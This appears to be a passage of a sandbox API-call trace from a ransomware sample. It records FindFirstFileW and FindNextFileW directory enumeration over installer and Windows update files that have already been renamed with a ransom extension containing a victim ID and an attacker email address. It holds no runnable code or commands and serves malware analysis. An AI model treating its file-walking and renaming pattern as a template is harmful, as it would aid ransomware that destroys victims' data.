ftLastAccessTime.dwLowDateTime=0x39c584d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a15cb3f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~2.NEW")) returned 1 [0191.903] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c7e619, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c7e619, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c7e619, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~3.NEW")) returned 1 [0191.903] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ccaa9f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ccaa9f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ccaa9f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~4.NEW")) returned 1 [0191.903] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39cf15ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39cf15ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a2da735, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROC56F~1.NEW")) returned 1 [0191.903] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39daf888, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39daf888, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39dfbea6, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO1411~1.NEW")) returned 1 [0191.903] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e221c4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e221c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e221c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO62C2~1.NEW")) returned 1 [0191.903] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e6e6a1, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e6e6a1, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e94783, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RO2111~1.NEW")) returned 1 [0191.904] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e48251, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e48251, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e48251, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SAVEIC~1.NEW")) returned 1 [0191.904] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e6e6a1, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e6e6a1, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e6e6a1, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPI~1.NEW")) returned 1 [0191.904] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e94783, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e94783, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a457c67, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="STOPIC~1.NEW")) returned 1 [0191.904] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e94783, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e94783, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39eba991, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SYSREQ~1.NEW")) returned 1 [0191.904] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39eba991, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39eba991, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39eba991, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SYSREQ~2.NEW")) returned 1 [0191.904] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ee0cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ee0cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ee0cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WARNIC~1.NEW")) returned 1 [0191.905] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ee0cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ee0cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ee0cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WARNIC~1.NEW")) returned 0 [0191.905] FindClose (in: hFindFile=0x750f50 | out: hFindFile=0x750f50) returned 1 [0191.906] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.906] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d3d21a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d3d21a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="HEADER~1.NEW")) returned 1 [0191.906] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x3e44d3c7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~1.NEW")) returned 1 [0191.906] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x3bd79157, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~2.NEW")) returned 1 [0191.906] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3a2da735, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3a2da735, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3b0dcfc7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~3.NEW")) returned 1 [0191.906] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3ef8aec4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~4.NEW")) returned 1 [0191.906] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3b8641f8, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3b8641f8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3b8b075d, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NE67EB~1.NEW")) returned 1 [0191.907] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3bd79157, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3bd79157, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3c31ec42, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NEF737~1.NEW")) returned 1 [0191.907] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d91719, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d91719, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39dd5c3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0191.907] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3bdc180a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3bdc180a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3bdc180a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RGB9RA~1.NEW")) returned 1 [0191.907] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c3456c9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c3456c9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d41b700, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RGB9RA~2.NEW")) returned 1 [0191.907] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c36cc26, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c36cc26, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3c36cc26, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPE~1.NEW")) returned 1 [0191.907] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c394655, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c394655, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d49547b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPE~2.NEW")) returned 1 [0191.908] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3d41b700, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3d41b700, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d4418ed, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~2.NEW")) returned 1 [0191.908] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f06df4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f06df4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f06df4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~1.NEW")) returned 1 [0191.908] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3da516c3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3da516c3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3da516c3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~3.NEW")) returned 1 [0191.908] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f2d17a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f2d17a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f2d17a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SPLASH~1.NEW")) returned 1 [0191.908] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3da782a8, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3da782a8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3da782a8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SQMAPI~1.NEW")) returned 1 [0191.908] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3a53cc14, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3a53cc14, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a53cc14, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="STRING~1.NEW")) returned 1 [0191.909] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f53441, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f53441, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f7a751, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0191.909] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f7a751, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f7a751, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f9f7e1, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WATERM~1.NEW")) returned 1 [0191.909] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x3f30de6b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~1.NEW")) returned 1 [0191.909] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x3ee6f614, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~2.NEW")) returned 1 [0191.909] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x3fd2fbc8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~3.NEW")) returned 1 [0191.910] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3fb42df3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~4.NEW")) returned 1 [0191.910] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3fb42df3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~4.NEW")) returned 0 [0191.910] FindClose (in: hFindFile=0x67a478 | out: hFindFile=0x67a478) returned 1 [0191.910] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e60050 | out: hHeap=0x660000) returned 1 [0191.911] FindNextFileW (in: hFindFile=0x67aa38, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0191.911] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e60050 [0191.912] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x751350 [0191.913] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, 